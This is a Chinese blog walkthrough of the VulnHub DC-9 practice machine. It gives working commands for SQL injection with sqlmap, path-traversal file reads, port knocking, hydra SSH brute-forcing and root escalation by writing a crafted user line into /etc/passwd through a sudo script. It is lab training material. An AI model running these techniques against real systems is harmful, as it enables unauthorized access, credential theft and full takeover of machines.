vulnhub DC-9

DC-9

信息搜集

探测局域网内存活主机

nmap -sP 192.168.19.128/24

发现主机192.168.19.138,扫描开放端口

nmap -p- 192.168.19.138

发现只有80端口开放.
访问发现是一个员工信息管理系统.

渗透

用whatweb扫描查看网站信息,发现啥也没有.
发现在search页面中存在搜索框可以查询员工信息.
尝试使用sqlmap进行sql注入,截取http报文存到http文件中.

sqlmap -r http --dbs

得到了如下的三个数据库

[*] information_schema
[*] Staff
[*] users

我们尝试爆破Staff数据库

sqlmap -r http -D Staff --tables

得到了StaffDetails和Users两个表.尝试去爆破Users表

sqlmap -r http -D Staff -T Users --columns

其中有Username,UserID,Password这三个列.

sqlmap -r http -D Staff -T Users -C 'Username,Password' --dump

得到了Username=admin,Password=856f5de590ef37314e7c3bdf6f8a66dc.这个Password实际是哈希加密后的结果,但是使用cmd5去破解收费.我们使用somd5得到结果为transorbital1.
再去爆破users数据库.

sqlmap -r http -D users --tables

只有一个表UserDetails.继续爆这个表

sqlmap -r http -D users -T UserDetails --columns

image

sqlmap -r http -D users -T UserDetails -C 'username,firstname,lastname,password' --dump

image

这些用户不知道是干啥的,先放在这.
我们切换到manage.php使用admin去进行登录,发现多了一个addrecord界面,可以往里写入员工信息.还发现了一个抽象的问题
image

这个File does not exits是咋回事???猜测存在文件包含漏洞.尝试传入参数?file=../../../../etc/passwd发现显示出了文件内容(绝对路径不好使).
image

这里面出现了很多熟人啊,有理由认为可以使用这些用户可以去进行登录.然而在之前中的扫描中却并没有开放啊ssh端口.
这里存在一个knockd服务.端口敲门服务,即:knockd服务.该服务通过动态的添加iptables规则来隐藏系统开启的服务,使用自定义的一系列序列号来“敲门”,使系统开启需要访问的服务端口,才能对外访问.不使用时,再使用自定义的序列号来"关门",将端口关闭,不对外监听.进一步提升了服务和系统的安全性.
knockd服务的默认配置地址为/etc/knockd.conf,我们先通过文件包含来查看内容.

[options] UseSyslog [openSSH] sequence = 7469,8475,9842 seq_timeout = 25 command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn [closeSSH] sequence = 9842,8475,7469 seq_timeout = 25 command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn

可以看到,需要我们敲7469,8475,9842来实现开门.反过来就会关门.我们使用kali下的knock,然后再去查看开放的端口

knock 192.168.19.138 7469 8475 9842
nmap -p- 192.168.19.138

此时22ssh端口已经打开.将之前爆出来的账号和密码写入文件中,然后使用hydra去进行爆破

hydra -L username -P password 192.168.19.138 ssh -s 22

发现存在如下的三个用户

[22][ssh] host: 192.168.19.138   login: chandlerb   password: UrAG0D!
[22][ssh] host: 192.168.19.138   login: joeyt   password: Passw0rd
[22][ssh] host: 192.168.19.138   login: janitor   password: Ilovepeepee

登录查看chandlerb和joeyt的home,发现没啥东西,在janitor的home发现了一个.secrets-for-putin
跟进发现有一个文件passwords-found-on-post-it-notes.txt

BamBam01
Passw0rd
smellycats
P0Lic#10-4
B4-Tru3-001
4uGU5T-NiGHts

猜测这是记录的部分密码.将其写入password,使用hydra去爆破ssh,得到如下账户密码.

[22][ssh] host: 192.168.19.138   login: fredf   password: B4-Tru3-001
[22][ssh] host: 192.168.19.138   login: joeyt   password: Passw0rd

切换到fredf用户,使用sudo -l查看权限
image

尝试运行这个文件,提示

Usage: python test.py read append

我们在目录中搜索test.py

find / -name 'test.py' 2>/dev/null

找到了文件/opt/devstuff/test.py
查看文件内容如下

#!/usr/bin/python

import sys

if len (sys.argv) != 3 :
    print ("Usage: python test.py read append")
    sys.exit (1)

else :
    f = open(sys.argv[1], "r")
    output = (f.read())

    f = open(sys.argv[2], "a")
    f.write(output)
    f.close()

可以看到这个脚本的作用是将命令行参数中的第一个文件追加到第二个文件的后面.那么刚才那个test文件估计是这个python脚本编译后pyc脚本.
此时想到,可以向/etc/passwd中写入一个用户.
lbz::0:0:root:/root:/bin/bash,然而测试后发现不好使,不允许密码为空.
我们选择字符串password,使用openssl进行md5加密

openssl passwd -1 -salt salt password

openssl是一个用于生成哈希值的工具.passwd代表生成密码.-1代表使用md5进行加密.-salt代表盐值,为字符串salt,password为我们要进行加密的字符串.
得到结果$1$salt$qJH7.N4xYta3aEG/dfqo/0,拼接后为lbz:$1$salt$qJH7.N4xYta3aEG/dfqo/0:0:0:root:/root:/bin/bash
然后将这个字符串写入evil文件,然后执行命令

sudo /opt/devstuff/dist/test/test evil /etc/passwd

然后su root即可切换到root用户,在root home读取flag
image

这也是DC系列的最后一题.

posted @ 2024-07-30 19:32  colorfullbz  阅读(98)  评论(0)    收藏  举报